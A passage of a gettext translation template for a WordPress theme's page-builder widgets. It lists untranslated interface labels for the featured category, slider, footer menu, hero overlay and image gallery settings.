#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:21
msgid " Featured Cat"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:45
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:47
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:65
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:50
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:44
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:41
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:178
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:203
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:211
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:550
#: inc/elementor/modules/penci-product/widgets/penci-product.php:220
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:46
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:46
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:168
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:43
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:159
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:163
#: inc/js_composer/shortcodes/product_brand/settings.php:86
#: inc/template-builder/archive-elements/posts.php:60
msgid "Layout"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:72
#: inc/js_composer/soledad_vc.php:1109
msgid "Show Thumbnail on Small Posts"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:101
msgid "Horizontal Spacing Between Post Items"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:142
#: inc/js_composer/soledad_vc.php:1123
msgid "Custom Image Width for Small Posts"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:179
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:182
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:441
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:136
#: inc/js_composer/shortcodes/image_gallery/settings.php:106
#: inc/js_composer/shortcodes/team_member/settings.php:163
#: inc/js_composer/shortcodes/testimonails/settings.php:87
#: inc/js_composer/soledad_vc.php:1087
#: inc/template-builder/archive-elements/posts.php:463
msgid "Columns Gap"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:191
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:173
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:237
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:154
#: inc/js_composer/shortcodes/image_gallery/settings.php:95
#: inc/js_composer/shortcodes/team_member/settings.php:153
#: inc/js_composer/soledad_vc.php:1099
msgid "Rows Gap"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:240
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:104
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:85
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:86
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:101
msgid "Custom Image size"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:248
msgid "Custom Words Length for Post Titles for Big Posts"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:261
msgid "Remove Dot Before The Post Title"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:299
msgid "Remove Borders on Post Items"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:326
msgid "Disable Autoplay on the Slider"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:333
#: inc/js_composer/soledad_vc.php:1296
msgid "Enable \"View All\" Button"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:338
#: inc/js_composer/soledad_vc.php:1305
msgid "Custom Link for \"View All\" Button"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:377
#: inc/js_composer/soledad_vc.php:1344
msgid "Custom Margin Top for \"View All\" Button"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:393
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:945
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:335
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1217
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:108
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:163
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:851
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1034
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:279
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:362
#: inc/template-builder/single-elements/comments.php:116
#: inc/template-builder/single-elements/featured-overlay.php:78
msgid "Elements Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:398
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:491
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1221
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1337
msgid "Thumbnail Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:410
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:515
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1239
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1356
msgid "Title Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:420
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1257
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1378
msgid "Header Group Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:430
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:538
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1248
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1367
#: inc/template-builder/single-elements/featured-overlay.php:119
msgid "Meta Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:440
msgid "Content/Excerpt Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:452
msgid "Spacing for Big Post"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:471
msgid "Big Post Spacing to Bottom"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:561
msgid "Header Group Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:584
msgid "Header Group Spacing Bottom"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:607
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1267
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1389
msgid "Post Excerpt/Content Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:638
msgid "Featured Cat"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:642
msgid "Wrapper Borders Color"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:649
msgid "Add Padding Around Post Items"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:668
msgid "Borders Width Around Post Items"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:687
msgid "Add Background Color for Post Items?"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:703
msgid "Post Items Borders Color "
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:710
#: inc/js_composer/inc/vc-params-helper.php:1494
#: inc/js_composer/inc/vc-params-helper.php:1742
msgid "Posts Title"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:734
#: inc/js_composer/inc/vc-params-helper.php:1515
msgid "Post Title Color of Big Post"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:740
#: inc/js_composer/inc/vc-params-helper.php:1523
msgid "Post Title Hover Color of Big Post"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:746
#: inc/js_composer/inc/vc-params-helper.php:1543
msgid "Font Size for Title of Big Post"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:789
#: inc/js_composer/inc/vc-params-helper.php:1582
#: inc/js_composer/inc/vc-params-helper.php:1792
msgid "Posts Meta"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:816
#: inc/js_composer/inc/vc-params-helper.php:1647
msgid "Posts Excerpt"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:845
#: inc/js_composer/inc/vc-params-helper.php:1144
#: inc/js_composer/inc/vc-params-helper.php:1338
#: inc/js_composer/inc/vc-params-helper.php:1706
msgid "Categories Hover Color"
msgstr ""

#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:856
msgid "View all\" Button"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:22
msgid " Featured Slider"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:89
#: inc/js_composer/shortcodes/featured_slider/settings.php:83
msgid "Disable Lazy Load Images on The Slider"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:110
#: inc/js_composer/shortcodes/featured_slider/settings.php:102
msgid "Hide Center Box"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:116
msgid "Show Count View"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:126
#: inc/js_composer/shortcodes/featured_slider/settings.php:127
msgid "Hide Post Number Comments"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:149
#: inc/js_composer/shortcodes/featured_slider/settings.php:152
msgid "Post Title Length"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:155
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:173
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:91
#: inc/template-builder/single-elements/featured-overlay.php:156
#: inc/template-builder/single-elements/relatedpost.php:287
msgid "Content Align"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:160
msgid "Content Vertical Align"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:179
msgid "Horizontal Align"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:218
msgid "Center Box Width"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:228
msgid "Content Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:232
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:169
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:765
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:360
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:429
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:325
#: inc/template-builder/single-elements/featured-overlay.php:726
msgid "Content Padding"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:238
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:753
msgid "Content Margin"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:268
msgid "Content Padding for Big Posts"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:287
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:330
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:572
msgid "Meta"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:293
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:337
msgid "Excerpt Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:310
msgid "Spacing for Big Posts"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:344
msgid "Slider Prev/Next Buttons Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:354
msgid "Slider Dots Spacing"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:369
#: inc/js_composer/shortcodes/featured_slider/settings.php:59
msgid "Carousel Effect"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:380
#: inc/js_composer/shortcodes/featured_slider/settings.php:69
msgid "Slider Effect"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:381
#: inc/js_composer/shortcodes/featured_slider/settings.php:70
msgid ""
"Some sliders do not support all effects listed below. The Creative effect is "
"functioning correctly on styles 1, 3, 29, 30, 35, and 36. Style 39 only "
"supports the \"Fade\" effect."
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:418
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:264
#: inc/js_composer/shortcodes/web_stories/settings.php:128
msgid "Show Next/Prev Buttons"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:424
msgid "Show Dots Navigation"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:455
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:188
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:887
#: inc/elementor/modules/penci-product/widgets/penci-product.php:514
#: inc/js_composer/shortcodes/advanced_list/settings.php:77
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:82
#: inc/js_composer/shortcodes/counter_up/settings.php:76
#: inc/js_composer/shortcodes/featured_slider/settings.php:230
#: inc/js_composer/shortcodes/simple_list/settings.php:162
msgid "Image size"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:461
#: inc/js_composer/shortcodes/featured_slider/settings.php:238
msgid "Image size for Big Post"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:468
msgid "Image size for Mobile"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:490
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:109
#: inc/js_composer/shortcodes/featured_slider/settings.php:263
msgid "Ratio Height/Width of Images"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:541
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:718
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:804
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:869
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:941
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1058
#: inc/template-builder/archive-elements/posts.php:763
#: inc/template-builder/archive-elements/posts.php:871
#: inc/template-builder/archive-elements/posts.php:951
#: inc/template-builder/archive-elements/posts.php:1037
#: inc/template-builder/archive-elements/posts.php:1201
msgid "Font size for Big Post"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:602
msgid "Excerpt"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:657
msgid "Small Thumbnail"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:707
msgid "Hover Overlay Background Opacity"
msgstr ""

#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:716
msgid "Slider Controls"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:27
msgid " Footer Nav Menu"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:71
msgid "Menu"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:77
#, php-format
msgid ""
"Go to the <a href=\"%s\" target=\"_blank\">Menus screen</a> to manage your "
"menus. Please note that: The Footer Nav Menu does not support showing sub-"
"menu items. All sub-menus will be hidden."
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:85
msgid "There are no menus in your site."
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:85
#, php-format
msgid ""
"Go to the <a href=\"%s\" target=\"_blank\">Menus screen</a> to create one."
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:121
msgid "Separator Between Menu Items"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:148
msgid "CirCle Separator Width & Height"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:160
msgid "Spacing Between Menu Items"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:174
msgid "Footer Nav Menu"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:200
msgid "Hover & Active Text Color"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:223
msgid "Add Background for Menu Items?"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:257
msgid "Add Borders for Menu Items?"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:269
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:272
msgid "Custom Borders Width"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:293
msgid "Hover & Active Borders Color"
msgstr ""

#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:303
msgid "Menu Items Custom Padding"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:21
msgid " Fullwidth Hero Overlay"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:50
msgid "Container Width"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:78
msgid "Small Posts Columns"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:95
msgid "Small Posts Columns on Tablet"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:110
msgid "Small Posts Columns on Mobile"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:145
msgid "Image Size for Big Post"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:154
msgid "Image Size for Big Post on Mobile"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:163
msgid "Image Ratio for Small Posts"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:174
msgid "Image Size for Small Posts"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:183
msgid "Image Size for Small Posts on Mobile"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:194
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:363
msgid "Post Meta Data"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:201
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:368
#: inc/js_composer/shortcodes/small_list/settings.php:233
msgid "Showing Post Meta"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:241
msgid "Custom Title Words Length for Big Post"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:252
msgid "Hide Post Format Icon on Big Post?"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:263
msgid "Show Post Format Icons on Small Posts?"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:286
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:613
#: inc/js_composer/shortcodes/small_list/settings.php:429
msgid "Showing on Mobile"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:294
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:619
#: inc/js_composer/shortcodes/small_list/settings.php:435
msgid "Hide Post Categories on Mobile?"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:304
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:627
msgid "Include: Author Name, Date, Comments Count, Views Count, Reading Time"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:316
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:597
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:654
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:276
msgid "Carousel Options"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:341
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:623
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:676
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:297
#: inc/js_composer/shortcodes/small_list/settings.php:493
msgid "Carousel Loop"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:349
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:631
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:682
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:303
#: inc/js_composer/shortcodes/small_list/settings.php:503
msgid "Carousel Auto Time ( 1000 = 1s )"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:356
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:638
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:687
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:308
#: inc/js_composer/shortcodes/small_list/settings.php:509
msgid "Carousel Speed ( 1000 = 1s )"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:363
msgid "Hide next/prev buttons"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:381
msgid "Big Post"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:399
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:725
msgid "Overlay Background Color on Hover"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:408
msgid "Element Padding"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:419
msgid "Big Post Padding"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:430
msgid "Icon/Content Width ( % )"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:441
msgid "Spacing Between Icon & Content"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:452
msgid "Spacing Between Big Post & Small Posts"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:464
msgid "Big Post Icon"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:493
msgid "Icon Align"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:519
msgid "Icon Wrapper Size"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:583
msgid "Big Post Categories"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:620
msgid "Big Post Title"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:657
msgid "Big Post Meta"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:735
msgid "Post Content Background Color"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:744
msgid "Post Content Padding"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:781
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:813
msgid "Post Categories"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:855
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:741
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:199
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:147
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:379
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:887
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:242
#: inc/js_composer/shortcodes/featured_slider/settings.php:384
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:145
#: inc/template-builder/archive-elements/posts.php:789
#: inc/template-builder/single-elements/featured-overlay.php:208
msgid "Post Meta"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:902
msgid "Post Icon Format"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:953
msgid "Horizontal Spacing Between each Posts"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:964
msgid "This option does not apply when small posts showing as slider"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:965
msgid "Vertical Spacing Between each Posts"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:976
msgid "Post Thumbnail Margin Bottom"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:987
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:858
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1039
msgid "Categories Margin Bottom"
msgstr ""

#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:998
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1048
msgid "Post Meta Margin Top"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:20
msgid " Image Gallery"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:40
#: inc/js_composer/shortcodes/image_gallery/settings.php:11
msgid "Image Gallery"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:46
msgid "Add Images"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:57
#: inc/js_composer/shortcodes/image_gallery/settings.php:22
msgid "Style 1 ( Grid )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:58
#: inc/js_composer/shortcodes/image_gallery/settings.php:23
msgid "Style 2 ( Mixed )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:59
#: inc/js_composer/shortcodes/image_gallery/settings.php:24
msgid "Style 3 ( Mixed 2 )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:60
#: inc/js_composer/shortcodes/image_gallery/settings.php:25
